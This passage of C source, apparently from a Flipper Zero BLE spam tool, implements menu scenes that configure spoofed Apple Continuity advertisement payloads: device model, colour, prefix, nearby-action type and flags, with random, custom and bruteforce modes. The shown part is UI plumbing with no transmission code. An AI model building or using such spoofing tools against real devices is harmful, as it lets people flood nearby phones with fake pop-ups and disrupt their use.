  741. void scene_continuity_pp_model_on_exit(void* _ctx) {
  742. UNUSED(_ctx);
  743. }
  744. static void pp_model_custom_callback(void* _ctx) {
  745. Ctx* ctx = _ctx;
  746. Payload* payload = &ctx->attack->payload;
  747. ContinuityCfg* cfg = &payload->cfg.continuity;
  748. if(payload->mode != PayloadModeBruteforce ||
  749. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  750. payload->mode = PayloadModeValue;
  751. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  752. scene_manager_previous_scene(ctx->scene_manager);
  753. scene_manager_previous_scene(ctx->scene_manager);
  754. }
  755. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  756. Ctx* ctx = _ctx;
  757. Payload* payload = &ctx->attack->payload;
  758. ContinuityCfg* cfg = &payload->cfg.continuity;
  759. ByteInput* byte_input = ctx->byte_input;
  760. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  761. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  762. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  763. byte_input_set_result_callback(
  764. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  765. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  766. }
  767. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  768. UNUSED(_ctx);
  769. UNUSED(event);
  770. return false;
  771. }
  772. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  773. UNUSED(_ctx);
  774. }
  775. static void pp_color_callback(void* _ctx, uint32_t index) {
  776. Ctx* ctx = _ctx;
  777. Payload* payload = &ctx->attack->payload;
  778. ContinuityCfg* cfg = &payload->cfg.continuity;
  779. uint8_t model_index = 0;
  780. uint8_t colors_count = 0;
  781. for(; model_index < pp_models_count; model_index++) {
  782. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  783. colors_count = pp_models[model_index].colors_count;
  784. break;
  785. }
  786. }
  787. if(index == colors_count) {
  788. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  789. } else if(index == colors_count + 1U) {
  790. payload->mode = PayloadModeBruteforce;
  791. payload->bruteforce.counter = 0;
  792. payload->bruteforce.value = cfg->data.proximity_pair.color;
  793. payload->bruteforce.size = 1;
  794. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  795. scene_manager_previous_scene(ctx->scene_manager);
  796. } else {
  797. if(payload->mode != PayloadModeBruteforce ||
  798. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  799. payload->mode = PayloadModeValue;
  800. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  801. scene_manager_previous_scene(ctx->scene_manager);
  802. }
  803. }
  804. void scene_continuity_pp_color_on_enter(void* _ctx) {
  805. Ctx* ctx = _ctx;
  806. Payload* payload = &ctx->attack->payload;
  807. ContinuityCfg* cfg = &payload->cfg.continuity;
  808. Submenu* submenu = ctx->submenu;
  809. uint32_t selected = 0;
  810. submenu_reset(submenu);
  811. bool value = payload->mode == PayloadModeValue ||
  812. (payload->mode == PayloadModeBruteforce &&
  813. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  814. bool found = false;
  815. uint8_t colors_count = 0;
  816. for(uint8_t i = 0; i < pp_models_count; i++) {
  817. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  818. colors_count = pp_models[i].colors_count;
  819. for(uint8_t j = 0; j < colors_count; j++) {
  820. submenu_add_item(submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  821. if(!found && value &&
  822. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  823. found = true;
  824. selected = j;
  825. }
  826. }
  827. break;
  828. }
  829. }
  830. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  831. if(!found && value) {
  832. selected = colors_count;
  833. }
  834. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  835. if(!value && payload->mode == PayloadModeBruteforce) {
  836. selected = colors_count + 1;
  837. }
  838. submenu_set_selected_item(submenu, selected);
  839. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  840. }
  841. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  842. UNUSED(_ctx);
  843. UNUSED(event);
  844. return false;
  845. }
  846. void scene_continuity_pp_color_on_exit(void* _ctx) {
  847. UNUSED(_ctx);
  848. }
  849. static void pp_color_custom_callback(void* _ctx) {
  850. Ctx* ctx = _ctx;
  851. Payload* payload = &ctx->attack->payload;
  852. ContinuityCfg* cfg = &payload->cfg.continuity;
  853. if(payload->mode != PayloadModeBruteforce ||
  854. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  855. payload->mode = PayloadModeValue;
  856. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  857. scene_manager_previous_scene(ctx->scene_manager);
  858. scene_manager_previous_scene(ctx->scene_manager);
  859. }
  860. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  861. Ctx* ctx = _ctx;
  862. Payload* payload = &ctx->attack->payload;
  863. ContinuityCfg* cfg = &payload->cfg.continuity;
  864. ByteInput* byte_input = ctx->byte_input;
  865. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  866. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  867. byte_input_set_result_callback(
  868. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  869. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  870. }
  871. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  872. UNUSED(_ctx);
  873. UNUSED(event);
  874. return false;
  875. }
  876. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  877. UNUSED(_ctx);
  878. }
  879. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  880. Ctx* ctx = _ctx;
  881. Payload* payload = &ctx->attack->payload;
  882. ContinuityCfg* cfg = &payload->cfg.continuity;
  883. switch(index) {
  884. case 0:
  885. cfg->data.proximity_pair.prefix = 0x00;
  886. scene_manager_previous_scene(ctx->scene_manager);
  887. break;
  888. case pp_prefixes_count + 1:
  889. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  890. break;
  891. default:
  892. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  893. scene_manager_previous_scene(ctx->scene_manager);
  894. break;
  895. }
  896. }
  897. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  898. Ctx* ctx = _ctx;
  899. Payload* payload = &ctx->attack->payload;
  900. ContinuityCfg* cfg = &payload->cfg.continuity;
  901. Submenu* submenu = ctx->submenu;
  902. uint32_t selected = 0;
  903. bool found = false;
  904. submenu_reset(submenu);
  905. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  906. if(cfg->data.proximity_pair.prefix == 0x00) {
  907. found = true;
  908. selected = 0;
  909. }
  910. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  911. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  912. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  913. found = true;
  914. selected = i + 1;
  915. }
  916. }
  917. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  918. if(!found) {
  919. selected = pp_prefixes_count + 1;
  920. }
  921. submenu_set_selected_item(submenu, selected);
  922. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  923. }
  924. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  925. UNUSED(_ctx);
  926. UNUSED(event);
  927. return false;
  928. }
  929. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  930. UNUSED(_ctx);
  931. }
  932. static void pp_prefix_custom_callback(void* _ctx) {
  933. Ctx* ctx = _ctx;
  934. Payload* payload = &ctx->attack->payload;
  935. ContinuityCfg* cfg = &payload->cfg.continuity;
  936. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  937. scene_manager_previous_scene(ctx->scene_manager);
  938. scene_manager_previous_scene(ctx->scene_manager);
  939. }
  940. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  941. Ctx* ctx = _ctx;
  942. Payload* payload = &ctx->attack->payload;
  943. ContinuityCfg* cfg = &payload->cfg.continuity;
  944. ByteInput* byte_input = ctx->byte_input;
  945. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  946. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  947. byte_input_set_result_callback(
  948. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  949. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  950. }
  951. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  952. UNUSED(_ctx);
  953. UNUSED(event);
  954. return false;
  955. }
  956. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  957. UNUSED(_ctx);
  958. }
  959. static void na_action_callback(void* _ctx, uint32_t index) {
  960. Ctx* ctx = _ctx;
  961. Payload* payload = &ctx->attack->payload;
  962. ContinuityCfg* cfg = &payload->cfg.continuity;
  963. switch(index) {
  964. case 0:
  965. payload->mode = PayloadModeRandom;
  966. scene_manager_previous_scene(ctx->scene_manager);
  967. break;
  968. case na_actions_count + 1:
  969. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  970. break;
  971. case na_actions_count + 2:
  972. payload->mode = PayloadModeBruteforce;
  973. payload->bruteforce.counter = 0;
  974. payload->bruteforce.value = cfg->data.nearby_action.action;
  975. payload->bruteforce.size = 1;
  976. scene_manager_previous_scene(ctx->scene_manager);
  977. break;
  978. default:
  979. payload->mode = PayloadModeValue;
  980. cfg->data.nearby_action.action = na_actions[index - 1].value;
  981. scene_manager_previous_scene(ctx->scene_manager);
  982. break;
  983. }
  984. }
  985. void scene_continuity_na_action_on_enter(void* _ctx) {
  986. Ctx* ctx = _ctx;
  987. Payload* payload = &ctx->attack->payload;
  988. ContinuityCfg* cfg = &payload->cfg.continuity;
  989. Submenu* submenu = ctx->submenu;
  990. uint32_t selected = 0;
  991. submenu_reset(submenu);
  992. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  993. if(payload->mode == PayloadModeRandom) {
  994. selected = 0;
  995. }
  996. bool found = false;
  997. for(uint8_t i = 0; i < na_actions_count; i++) {
  998. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  999. if(!found && payload->mode == PayloadModeValue &&
  1000. cfg->data.nearby_action.action == na_actions[i].value) {
  1001. found = true;
  1002. selected = i + 1;
  1003. }
  1004. }
  1005. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1006. if(!found && payload->mode == PayloadModeValue) {
  1007. selected = na_actions_count + 1;
  1008. }
  1009. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1010. if(payload->mode == PayloadModeBruteforce) {
  1011. selected = na_actions_count + 2;
  1012. }
  1013. submenu_set_selected_item(submenu, selected);
  1014. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1015. }
  1016. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1017. UNUSED(_ctx);
  1018. UNUSED(event);
  1019. return false;
  1020. }
  1021. void scene_continuity_na_action_on_exit(void* _ctx) {
  1022. UNUSED(_ctx);
  1023. }
  1024. static void na_action_custom_callback(void* _ctx) {
  1025. Ctx* ctx = _ctx;
  1026. Payload* payload = &ctx->attack->payload;
  1027. ContinuityCfg* cfg = &payload->cfg.continuity;
  1028. payload->mode = PayloadModeValue;
  1029. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1030. scene_manager_previous_scene(ctx->scene_manager);
  1031. scene_manager_previous_scene(ctx->scene_manager);
  1032. }
  1033. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1034. Ctx* ctx = _ctx;
  1035. Payload* payload = &ctx->attack->payload;
  1036. ContinuityCfg* cfg = &payload->cfg.continuity;
  1037. ByteInput* byte_input = ctx->byte_input;
  1038. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1039. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1040. byte_input_set_result_callback(
  1041. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1042. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1043. }
  1044. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1045. UNUSED(_ctx);
  1046. UNUSED(event);
  1047. return false;
  1048. }
  1049. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1050. UNUSED(_ctx);
  1051. }
  1052. static void na_flags_callback(void* _ctx) {
  1053. Ctx* ctx = _ctx;
  1054. scene_manager_previous_scene(ctx->scene_manager);
  1055. }
  1056. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1057. Ctx* ctx = _ctx;
  1058. Payload* payload = &ctx->attack->payload;
  1059. ContinuityCfg* cfg = &payload->cfg.continuity;
  1060. ByteInput* byte_input = ctx->byte_input;
  1061. byte_input_set_header_text(byte_input, "Press back for automatic");
  1062. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1063. byte_input_set_result_callback(
  1064. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1065. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1066. }
  1067. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1068. Ctx* ctx = _ctx;
  1069. if(event.type == SceneManagerEventTypeBack) {
  1070. ctx->byte_store[0] = 0x00;
  1071. }
  1072. return false;
  1073. }
  1074. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1075. Ctx* ctx = _ctx;
  1076. Payload* payload = &ctx->attack->payload;
  1077. ContinuityCfg* cfg = &payload->cfg.continuity;
  1078. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1079. }